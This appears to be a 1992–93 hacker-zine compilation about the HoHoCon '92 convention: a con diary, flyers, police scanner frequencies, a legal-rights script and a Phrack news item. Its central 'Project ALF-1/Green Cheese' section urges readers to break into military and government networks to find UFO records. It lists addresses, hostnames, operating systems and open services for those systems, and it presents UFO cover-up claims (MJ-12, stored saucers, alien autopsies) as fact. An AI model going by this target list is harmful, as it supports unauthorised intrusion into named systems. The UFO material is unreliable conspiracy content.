Saturday 8pm Try to keep awake while wondering how much torture can be sustained. Watch Count Zero nodding off. Hitman and I pulled out our decoder rings to interpret Crunch's hidden message.

Saturday 10pm Dominoes Pizza makes it to the room. OUR SAVIOR !!! He's 5‑minutes late. Custody battle over the pizza ensues. The manager is called, at which point he lowers the $50 price for the two pizzas down to $30. We scrape a few dollars and hand the peon delivery boy some cheap beer.

Saturday Nite Hand out copies of "cindy's torment" to the code kids. Watch Erik B.'s continuation of necrophiliac desires on the acquired VCR that mysteriously appeared. Avoided the hotel security by changing room while monitoring their frequencies (thanks RDT). Obtained evidence that hackers were breaking into VR R&D departments to engage in endless routines of VR sex for Cyborgasmic responses. Saw Crunch's host's room blow out as the multitudes of computers fry the circuits. Followed the 'sheep' about the hotel.

Sunday ??? Woke bright and early to a car locked with the keys inside. Fortunately, 50‑odd slim‑jims appeared out of nowhere to save the day. Windrunner chauffeured us back to our lair.

Sunday 3pm Hacked into the Louisiana Lotto machine from an acoustical modem and laptop from a pay phone to rig the numbers and then bought a ticket.

Sunday 7pm Returned to hell. Lost the lotto ticket in the growing pile of sugar‑coated necessities sheddings. Cursed.

Sunday 8pm Turned the PC on and hit the networks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Jim Carter, president of Bank Security in Houston, TX, wrote the following impressions of HoHoCon for Security Insider Report (December, 1992)

HoHoCon was in fact "Unphamiliar Territory" for this "good ole boy," but it didn't take long till I was into the swing of things and telling lies of how we cheat and steal to get our information. Of course, everyone who talked to this "good ole boy" thought he was with one of the three letter agencies. As the stories rolled on about what they (the hackers) could do, such as produce virii that would cause video display terminals and hard drives to smoke, I had to sit back, sip my brewski and say "wow." We sat back, enjoyed a few more rounds, told a few more lies and had a good time.

Well, this old boy didn't show until about noon on Saturday. Of course the conference hadn't started yet so we didn't miss anything. The program was kicked off with a number of questions about who, what, where and how. It was difficult to determine how many people were there since the room was packed like a can of sardines. Our estimate was over two hundred, not counting the hackers still in their rooms. Was this another drunken free for all, as in the past? A report was given on cellular hacking and toll fraud. Hackers' rights were presented by an attorney. Also discussed was the stupidity of the press and law enforcement.

Some others talked about suppressed information from the federal government concerning UFO's and how hackers are gaining this info. And of course the White House wants to know their sources.

Hand outs were given including virii and virus source code. I did decline any virii, but who knew what I would get before this was over. I believe this was the most responsive and gratifying group I have spoken to this year. I also expect to get more business because of this presentation than any other this year.

A lengthy door prize was held in which I was the winner of more virii. Again, I did decline, but passed the winning ticket on. Captain Crunch was the final speaker. In conclusion, the attendees were the good, the bad and the ugly. We did find HoHoCon very informative and, yes, we will attend again. In closing, I hope each and everyone had a very "Merry HoHoCon."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A (Hacker's) Mind is a Terrible Mind to Waste

Unix World, page 136, March 1993

by Gary Andrew Poole

[Unix World wanted MONEY to reprint this in full...Yeah, right. Someone already posted it on alt.cyberpunk some time ago

if you can't find it anywhere.]

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

Various Stuff Picked up at HoHoCon

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Flyer:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unphamiliar Territory

Phalcon/Skism Western World Headquarters

The Ghost in The Machine Distribution

Featuring:

‑ 'Neutral Territory' forum where security issues can be discussed with top security people in the field.

‑ Completely LEGAL forums on computer security, hacking, phraud.

‑ Thousands of textfiles covering all aspects of the underground.

‑ Hundreds of viruses and virus source code for the serious programmer.

Information:

‑ Administrators are Invalid Media, Mercury/NSA, Warlock Bones and Jaeger.

‑ Run on a professor Falken/LOD donated ZOOM v32bis

‑ Mentioned in MONDO 2000 and reviewed in the latest Infoworld.

‑ Dialin 602‑894‑1757 / 24 hours

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Flyer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In your defense..... Courtesy Freeside Orbital Data Network, HoHoCon '92

‑B. O'Blivion

Repeat after me:

"If I am reading this to you, then I believe that you are questioning, detaining, or arresting me, or searching my person or possessions in the course of your official duties."

"I do not consent to any search of seizure of any part of my person or property, nor to any property of others under my control. I do not consent to any person's examination, search, or removal of any information storage equipment or media in my possession. You are hereby notified that such information storage equipment or media contain private written and electronic mail, confidential communications, and other material protected under the Electronic Communications Privacy Act and other statutes."

"I respectfully decline to answer any questions beyond confirmation of my identity, and require access to legal counsel immediately. I demand that access to legal counsel be provided to me before any questioning takes place. I will answer no questions nor give any information outside the presence of legal counsel. All requests for interviews, statements, consents, or information of any sort should be addressed to me through my attorney. I invoke the rights five to me by the Fifth and Sixth Amendments of the Constitution of the United States."

"I further notify you that the speech and information contained on information storage and handling devices at this site are protected by the First and Fourth Amendments to the Constitution of the United States, and that any unlawful search or seizure of these items or of the information they contain will be treated as a violation of the Constitutional rights of myself and other users of these devices and media."

"I further notify you that any such violations of any person's legal or Constitutional rights which are committed at any time, by any person, will be the subject of civil legal action for all applicable damages sustained. I require that at this time all officers participating in this illegal search, seizure, or arrest identify themselves at this time by name and badge number to me and my legal counsel."

[Include if applicable]

"I further notify you that I am a Computer System Operator providing private electronic mail, electronic publications, and personal information storage services to users in this State, and among the United States. Any person causing a breach of the security of, or violation of the privacy of, the information and software herein will be held liable for all civil damages suffered by any and all users thereof."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Flyer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon 1992

Amusing Local Frequencies

courtesy of ‑=RDT.

Allen Park Inn Security ‑ 464.500 Houston Post ‑ 154.540

173.275

452.975

Houston Police:

North Shepherd Patrol ‑ 460.325

NE Patrol ‑ 460.125

SE Patrol ‑ 460.025

SW Patrol ‑ 460.050

Central Patrol ‑ 460.100

Spec. Op. Traffic ‑ 460.350

Car 2 Car ‑ 460.225

South Central Patrol ‑ 460.550

NW Patrol ‑ 460.475

West Patrol ‑ 460.150

Accident ‑ 460.375

Misc ‑ 460.525

460.575

460.400

Records ‑ 460.425

City Marshalls ‑ 453.900

Paging ‑ 155.670

Police Intercity ‑ 453‑550

A number of people have been asking "who is RDT? what the hell is RDT?" For the record, we're hackers who believe information should be free. All information. The world is full of phunky electronic gadgets and networks, and we want to share our information with the hacker community. We currently write for 2600 magazine, Phrack, Mondo 2000, Cybertek, and Informatik.

The five "charter members" of RDT are Count Zero, Brian Oblivion, Magic Man, White Knight, and Omega. Each of us has complementary skills, and as a group we have a very wide area of technical knowledge. Feel free to contact us.

Count Zero ‑ count0@ganglia.mgh.harvard.edu Brian Oblivion ‑ oblivion@ganglia.mgh.harvard.edu Magic Man ‑ magic@ganglia.mgh.harvard.edu White Knight ‑ wknight@ganglia.mgh.harvard.edu Omega ‑ omega@spica.bu.edu

"They are satisfying their appetite to know something that is not theirs to know." ‑ Asst. District Attorney Don Ingraham

"All‑you‑can eat buffet...for FREE!" ‑ Restricted Data Transmissions

RDT "Truth is Cheap, but Information Costs."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Future Sex

(a very odd pseudo‑cyberpunk skin mag)

4 issues for $18, Canada $26, International US $48

1095 Market Street

Suite 809

San Francisco, CA 94103

415‑621‑5496

415‑621‑4946 fax

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Video

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Red $19.95

(Phone Pranks can kill)

Nekromantik II $29.95

(No comment)

Available through

Film Threat Video

P.O. Box 3170

Los Angeles, CA

90078‑3170 USA

818‑848‑8971

Shipping: 1 tape $3.40

2‑3 $4.60

4‑6 $5.80

6+ $7.00

Visa/MC accepted.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Official HoHoCon Crud

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon '92

Product Ordering Information

If you are interested in obtaining either HoHoCon shirts or videos, please contact us at any of the following:

drunkfux@cypher.com hohocon@cypher.com

cDc@cypher.com

dfx@nuchat.sccsi.com drunkfux@ganglia.mgh.harvard.edu 359@7354 (WWIV Net)

Freeside Orbital Data Network ATTN: dFx/HoHoCon 11504 Hughes Road Suite #124

Houston, Texas

77089

713‑866‑4884 (Voice Mail)

The shirts are $15 plus $2 shipping ($2.50 for two shirts). At this time, they only come in extra large. We may add additional sizes if there is a demand for them. The front of the shirt has the following in a white strip across the chest:

I LOVE FEDS

(Where LOVE = a red heart, very similar to the I LOVE NY logo)

And this on the back:

dFx & cDc Present

HOHOCON '92

December 18‑20

Allen Park Inn

Houston, Texas

There is another version of the shirt available with the following:

I LOVE WAREZ

The video includes footage from all three days, is six hours long and costs $18 plus $2 shipping ($2.50 if purchasing another item also). Please note that if you are purchasing multiple items, you only need to pay one shipping charge of $2.50, not a charge for each item. If you wish to send an order in now, make all checks or money orders payable to O.I.S., include your phone number and mail it to the street address listed above. Allow ten working days for arrival.

Thanks to everyone who attended and supported HoHoCon '92. Mail us if you wish to be an early addition to the HoHoCon '93 (December 17‑19) mailing list.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Text File

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Rumors have begun to surface about a group of hackers who were involved in a project to uncover information regarding the existence of UFOs. The most public example pertaining to this alleged project was seen on Dateline NBC on the screen of the mystery hacker "Quentin."

The story goes that this group of individuals decided to put their skills to work on a project that, if successful, would add legitimacy to the hacking process by uncovering information on what has been called the greatest cover‑up in the history of the world. Milnet TAC ID cards were obtained through military officials sympathetic to the cause. Several sites and networks were targeted that had in the past been linked to UFO activity. These were sites like the Jet Propulsion Laboratory, Sandia Labs, TRW Space Research, American Institute of Physics, and various other educational, government and military sites.

The rumors also emphasize that several sites had what these individuals called "particularly heavy security." Within several seconds after connection had been established, system administrators of sites used in this project were contacted. Further rumors state that there was information regarding a propulsion system designed utilizing what is termed "corona discharge" being analyzed at one site. The most sinister of all rumors states that one particular participant who was allegedly deeply immersed in TRWs internal network has not been heard from since uncovering data regarding a saucer being housed at one of their Southern California installations.

Believe what you will about the reality of this project. Much will be dismissed as hacker lore, but within the core of every rumor lies a grain of truth.

Are we being lied to? Why is this information still classified by the NSA? What are they hiding from us behind a maze of security? Will we continue to stand idly by and let an uncaring and deliberately evasive government shield us from what may be the most important, and potential dangerous news to ever surface? Information wants to be free, and only a concerted group effort can make this happen. How much do you really want to know about what is really going on?

What follows is information that has been released regarding this project...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROJECT ALF‑1

A Planetary Effort

TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET

These are the raw data. Where comments are appropriate, they

will be included. The data will be grouped together with dates, names etc. to make correlations easier.

There are countless references to the aliens, their down space craft and what the Government is doing with them.

If, as is supposed, the research on the craft and the 'ufonauts' continues today, then undoubtedly there are computer records, somewhere.

I. Searching the Skies; Tripping the Electronic Fence around the USA.

US Space Command Space Surveillance Center, Cheyenne Mountain, Colorado Springs, Box Nine (Electronic Surveillance Room)

(This is where they search for and track UFO activity.)

U.S. Naval Space Surveillance System, Dahlgreen, Virginia, (Main computer), Lake Kickapoo, Texas (listening post): Search for 'Flash Traffic'

Commander Sheila Mondran

CINC‑NORAD

Space Detection and Tracking System

Malabar, Forida

'Teal Amber' search

National Military Command Center ‑ Pentagon

(These are the areas where UFO activity is tracked.

There is a radar shield around the country that is 'tripped' by UFO's. All tracking and F14 scrambling is done through this system.)

II. The Second Cover Up

Defense Intelligence Agency

Directorate for Management and Operations

Project Aquarius (in conjunction with SRI)

Colonel Harold E. Phillips, Army (where/what Feb. 1987)

UFO Working Group, (formed Dec 1987)

Major General James Pfautz, USAF, Ret. (March 87)

US Army experiments ‑(Monroe Institute, Faber, VA)

Major General Albert Stubblebine

Capt. Guy Kirkwood,

(thousands of feet of film of UFO's catalogued and on record somewhere.) The UFO Working Group was formed because one arm of the Govt doesn't know what the other is doing.)

III. National Security

NSA NAtional Security Agency, Dundee Society (Super secret elite who have worked on UFO's.)

NSA ‑ Research and Engineering Division

NSA ‑ Intercept Equipment Division

Kirtland Force Base, Office of Special Investigations, Project Beta. 1979‑83‑? (Sandia Labs are here.)

Paul Bennewitz

Project Blue

Project Blue Book

(NSA computers do analysis for Pentagon.)

IV. More Secret Players

NASA, Fort Irwin, Barstow, CA

NASA Ames Research Center, Moffet Field Naval Base

SETI

State Dept. Office of Advanced Technology

Any Astronauts from Mercury, Gemini and Apollo

CIA ‑ Office of Scientific Investigation

CIA ‑ Domestic Collection Division

(NASA has known about UFO's since the astronauts saw and photoed them. Records somewhere.)

V. Dealing with the Secret

MJ‑12 (1952)

Majectic 12

Operation Majestic 12

MAJIC‑12

Admiral Roscoe H. Hillenkoetter

Dr. Vannevar Bush

Dr. Detlev Bronk

Dr. Jerome Hunsaker

Dr. Donald Menzel

Dr. Lloyd Berkner

General Robt. Montague

Sidney Souers

Gordon Gray

General Hoyt Vandenberg

Sect State James Forrestal

General Nathan Twining

Pres. Truman

Pres. Eisenhower

(One of the biggest secrets ever.)

Nevada Desert, Area 51, S4 (houses UFO's)

(Robert Lazar talked!) 9 space ships on storage. Propulsion by corona discharge.

(Area 51 is the most protected base on the planet.)

VI. ROSWELL, NM Crashes

Mac Brazel (farmer)

Major Jesse A. Marcel

509th. Bomber Group

Lewis Rickett, CIC Officer

Colonel William Blanchard

Gerald Anderson, witness to crash and aliens

Wright Patterson Air Force Base, (parts lists of UFO's catalogued; autopsies on record) (Bodies in underground facility)

Foreign Technology Building

USAAF (United States Army Air Force reports: "Early Automation" Muroc, CA (Base with UFO's for study)

(1 saucer with 4 aliens. They were transported to Wright and then saved, catalogued and autopsied.)

VII. THOSE ON GOVT SHIT LIST

(People who have gotten close.)

Robert Lazar

Major Donald Keyhoe

William Moore

Stanton Friedman

Jaime Shandera

Whitley Streiber

Timothy Goode, UK

Other UFO Crashes

Del Rio, TX 12/50, Colonel Robert Willingham

Las Vegas, 4/18/62

Kecksburg, PA 12/9/65

VIII. International

Belgian Air Force. (They are going public and have records.

Press conference held 7/12/91.)

Australian Air Force

UK; GCHQ

British Air Force

Belgium:

NATO Radar Stations

IX. UFO Civilian Groups. (What do they really know?)

NICAP, National Investigations Committee on Aerial Phenomena (private company.)

APRO, Tucson, AZ (Aerial Phenomona Research Organization,

private company.)

MUFON Mutual UFO Network

X. GENERAL

Kenneth Arnold, June 24, 1947

Cattle and Sheep Mutilations

General and Pres. Eisenhower, (private files and library) President Truman

Wright Field or Wright Patterson Air Force Base, Dayton, OH, (Air Force Foriegn Technology Division)

USAF Project Saint

USAF Project Gemini

Project Moon Dust

Project Sign

Project Grudge

General Hoyt Vandenberg (1940‑1960)

Air Force Regulation 200‑2 (8/12/54)

Holloman AFB, NM

Roswell, NM July 7, 1947

XI. Possible Searches

Presidential Libraries

Old USAAF, (United States Army Air Force)

NASA

Astronaut Frank Borman, Gemini 7, pictures of UFO

Neil Armstrong, Apollo 11, saw UFO's on moon.

Colonel Gordon Cooper saw a bunch of them

James McDivitt, 6/66

United Nations

NATO;

General Lionel Max Chassin, French Air Force

Star Wars, United Kingdom, 23 scientists killed in 6 years.

Gulf Breeze, FL

Additional UFO records at NSA, CIA, DIA, FBI

Good Searching.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Project

‑>Green Cheese<‑

Data Base

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Holloman AFB

Location: New Mexico. Preconceived landing 15 years ago.

DDN Locations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NET : 132.5.0.0 : HOLLOMAN :

GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN‑GW.AF.MIL : CISCO‑MGS :: EGP,IP/GW : GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN‑GW.AF.MIL : CISCO‑MGS :: EGP,IP/GW :

HOST : 26.10.0.74 : HOLLOMAN‑TG.AF.MIL : VAX‑8650 : VMS : TCP/FTP,TCP/TELNET,TCP SMTP :

HOST : 26.6.0.74 : HOLLOMAN‑AM1.AF.MIL : WANG‑VS100 : VSOS : TCP/TELNET,TCP/FTP, TCP/SMTP :

Host: DDNVAX2.6585TG.AF.MIL

156.6.1.2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kirtland Air Force Base

Office Of Special Investigations. Sandia Labs are here. Also part of NSA Intercept Equipment Division.

Key Words/names:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sandia Labs

Project Beta (1979‑83‑?)

Paul Bennewitz

Project Blue

Project Blue Book

DDN Locations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NET : 131.23.0.0 : KIRTLAND‑NET :

NET : 132.62.0.0 : KIRTLAND2 :

GATEWAY : 26.17.0.48, 131.23.0.1 : KIRTLAND2‑GW.AF.MIL,KIRTLAND‑GW.AF.MIL : CISCO‑MGS : UNIX : IP/GW,EGP :

GATEWAY : 26.18.0.87, 132.62.0.1

: KIRTLAND1‑GW.AF.MIL,KIRTLAND1606ABW‑GW.AF.MIL : CISCO‑MGS : : EGP,IP/GW :

HOST : 26.0.0.48 : KIRTLAND.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.0.0.87 : KIRTLAND2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.6.0.87 : KIRTLAND‑AM1.AF.MIL : WANG‑VS300 : VS ::

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NASA

What can I say about NASA that you couldnt guess for yourself.... (Except that the following sights are SPECIFIC NASA sights, not just randomly suspected sights).

DDN locations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fort Irwin, Barstow, CA:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NET : 134.66.0.0 : IRWIN :

NET : 144.146.0.0 : FTIRWIN1 :

NET : 144.147.0.0 : FTIRWIN2 :

GATEWAY : 26.24.0.85, 26.7.0.230, 144.146.0.1, 144.147.0.0 : FTIRWIN‑GW1.ARMY.MIL : CISCO‑GATEWAY : CISCO : IP/GW,EGP : HOST : 26.14.0.39 : IRWIN‑ASBN.ARMY.MIL : NCR‑COMTEN‑3650 : COS2 :: HOST : 26.13.0.85 : FTIRWIN‑AMEDD.ARMY.MIL : ATT‑3B2‑600G : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :

HOST : 26.14.0.85 : FTIRWIN‑IGNET.ARMY.MIL : DATAPOINT‑8605 : RMS :: HOST : 26.15.0.85 : IRWIN‑EMH1.ARMY.MIL,FTIRWIN‑EMH1.ARMY.MIL : SPERRY‑5000 : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :

Moffet Field Naval Base (Ames Research Center):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GATEWAY : 26.20.0.16, 192.52.195.1 : MOFFETT‑FLD‑MB.DDN.MIL,AMES‑MB.DDN.MIL : C/70 : CHRYSALIS : IP/GW,EGP :

HOST : 26.0.0.16 : MOFFETT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pentagon (National Military Command Center)

One of many places in charge of tracking UFO activity.

Possible DDN sights:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GATEWAY : 26.9.0.26, 134.205.123.140 : PENTAGON‑GW.HQ.AF.MIL : CISCO‑AGS : : EGP,IP/GW :

GATEWAY : 26.25.0.26, 131.8.0.1 : PENTAGON‑GW.AF.MIL,HQUSAFNET‑GW.AF.MIL : CISCO‑MGS :: IP/GW,EGP :

GATEWAY : 26.10.0.76, 192.31.75.235 : PENTAGON‑BCN‑GW.ARMY.MIL : SUN‑360 : UNIX : IP/GW,EGP :

GATEWAY : 26.26.0.247, 192.31.75.1 : PENTAGON‑GW.ARMY.MIL : SUN‑3/160 : UNIX : EGP,IP/GW :

GATEWAY : 26.31.0.247, 26.16.0.26, 141.116.0.1 : PENTAGON‑GW1.ARMY.MIL : CISCO : CISCO : IP/GW,EGP :

HOST : 26.0.0.26 : PENTAGON.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.24.0.26 : OPSNET‑PENTAGON.AF.MIL : VAX‑8500 : VMS

: TCP/TELNET,TCP/FTP,TCP/SMTP :

HOST : 26.10.0.76, 192.31.75.235 : PENTAGON‑BCN.ARMY.MIL : SUN‑360 : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :

HOST : 26.0.0.247 : PENTAGON2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.7.0.247 : PENTAGON‑AMSNET.ARMY.MIL : AMDAHL : MVS

: TCP/TELNET,TCP/FTP :

HOST : 26.14.0.247 : NSSC‑PENTAGON.NAVY.MIL : ALTOS‑3068A : UNIX : TCP/FTP,TCP/TELNET,TCP/SMTP :

HOST : 26.18.0.247 : PENTAGON‑EMH4.ARMY.MIL : SPERRY‑5000/80 : UNIX : TCP/TELNET,TCP/FTP,TCP/SMTP :

HOST : 26.26.0.247, 192.31.75.1 : PENTAGON‑AI.ARMY.MIL : SUN‑3/160 : UNIX : TCP/TELNET,TCP/FTP,TCP/SMTP,TCP/FINGER :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Raddaman

Location of infamous building 18a. Suspected saucers and others?

DDN location, yet unknown.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SECI

?

DDN Locations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NET : 192.108.216.0 : ARC‑SETI‑NET :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Utah Locations:

GATEWAY : 26.18.0.20, 131.27.0.1 : HILL‑GW.AF.MIL,HILLAFBNET‑GW.AF.MIL : CISCO‑MGS :: IP/GW,EGP :

GATEWAY : 26.18.0.20, 131.27.0.1 : HILL‑GW.AF.MIL,HILLAFBNET‑GW.AF.MIL : CISCO‑MGS :: IP/GW,EGP :

HOST : 26.5.0.20 : HILL.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

HOST : 26.0.0.99 : HILL2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

HOST : 26.12.0.99 : HILL‑AM1.AF.MIL : WANG‑VS100 : VS

: TCP/TELNET,TCP/FTP,TCP/SMTP :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Wright Patterson AFB

Catalogued UFO parts list. Autopsies on record. Bodies located in underground facility of Foreign Technology Building.

DDN Locations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HOST : 26.0.0.47 : WRIGHTPAT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.8.0.123 : WRIGHTPAT2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.0.0.124 : WRIGHTPAT3.MT.DDN.MIL : C/30 : TAC : TCP,ICMP : HOST : 26.3.0.170 : WAINWRIGHT‑IGNET.ARMY.MIL : CONVERGENT‑TECH‑CN‑100 : CTOS ::

HOST : 26.0.0.176 : WRIGHTPAT4.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Nevada:

NET : 131.216.0.0 : NEVADA :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Random Suspected Nets:

WIN:

Top Secret Network. All coordinator's have last name Win.

NET : 141.8.0.0 : DFN‑WIN8 : NET : 141.9.0.0 : DFN‑WIN9 :

NET : 141.10.0.0 : DFN‑WIN10 : NET : 141.15.0.0 : DFN‑WIN15 :

NET : 141.25.0.0 : DFN‑WIN25 : NET : 141.26.0.0 : DFN‑WIN26 :

NET : 141.28.0.0 : DFN‑WIN28 : NET : 141.57.0.0 : DFN‑WIN57 :

NET : 141.58.0.0 : DFN‑WIN58 : NET : 141.59.0.0 : DFN‑WIN59 :

NET : 141.60.0.0 : DFN‑WIN60 : NET : 141.61.0.0 : DFN‑WIN61 :

NET : 141.62.0.0 : DFN‑WIN62 : NET : 141.63.0.0 : DFN‑WIN63 :

NET : 141.64.0.0 : DFN‑WIN64 : NET : 141.65.0.0 : DFN‑WIN65 :

NET : 141.66.0.0 : DFN‑WIN66 : NET : 141.67.0.0 : DFN‑WIN67 :

NET : 141.68.0.0 : DFN‑WIN68 : NET : 141.69.0.0 : DFN‑WIN69 :

NET : 141.70.0.0 : DFN‑WIN70 : NET : 141.71.0.0 : DFN‑WIN71 :

NET : 141.72.0.0 : DFN‑WIN72 : NET : 141.73.0.0 : DFN‑WIN73 :

NET : 141.74.0.0 : DFN‑WIN74 : NET : 141.75.0.0 : DFN‑WIN75 :

NET : 141.76.0.0 : DFN‑WIN76 : NET : 141.77.0.0 : DFN‑WIN77 :

NET : 141.78.0.0 : DFN‑WIN78 : NET : 141.79.0.0 : DFN‑WIN79 :

NET : 141.80.0.0 : DFN‑WIN80 : NET : 141.81.0.0 : DFN‑WIN81 :

NET : 141.82.0.0 : DFN‑WIN82 : NET : 141.83.0.0 : DFN‑WIN83 :

NET : 141.84.0.0 : DFN‑WIN84 : NET : 141.85.0.0 : DFN‑WIN85 :

NET : 141.86.0.0 : DFN‑WIN86 : NET : 141.87.0.0 : DFN‑WIN87 :

NET : 141.88.0.0 : DFN‑WIN88 : NET : 141.89.0.0 : DFN‑WIN89 :

NET : 141.90.0.0 : DFN‑WIN90 : NET : 141.91.0.0 : DFN‑WIN91 :

NET : 141.92.0.0 : DFN‑WIN92 : NET : 141.93.0.0 : DFN‑WIN93 :

NET : 141.94.0.0 : DFN‑WIN94 : NET : 141.95.0.0 : DFN‑WIN95 :

NET : 141.96.0.0 : DFN‑WIN96 : NET : 141.97.0.0 : DFN‑WIN97 :

NET : 141.98.0.0 : DFN‑WIN98 : NET : 141.99.0.0 : DFN‑WIN99 :

NET : 188.1.0.0 : WIN‑IP : NET : 192.80.90.0 : WINDATA :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Scinet:

Sensitive Compartmented Information Network

NET : 192.12.188.0 : BU‑SCINET :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Disnet:

Defense Integrated Secure Network. Composed of SCINET, WINCS ([World Wide Military and Command Control System] Intercomputer Network Communication Subsystem), and Secretnet(WIN).

NET : 22.0.0.0 : DISNET :

PWN

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 14 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

STEVE JACKSON GAMES v. UNITED STATES SECRET SERVICE

Rights To Be Tested In Computer Trial January 20, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joe Abernathy (The Houston Chronicle)(Page A13)

*Reprinted With Permission*

Summary Judgment Denied In Case

AUSTIN ‑‑ A judge Tuesday denied plaintiff lawyers' request for summary judgment in a case brought against the U.S. Secret Service to set the bounds of constitutional protections for electronic publishing and electronic mail.

U.S. District Judge Sam Sparks acted after hearing complicated arguments regarding application of 1st and 4th Amendment principles in computer‑based communications and publishing. The case will go to trial at 9 a.m. today.

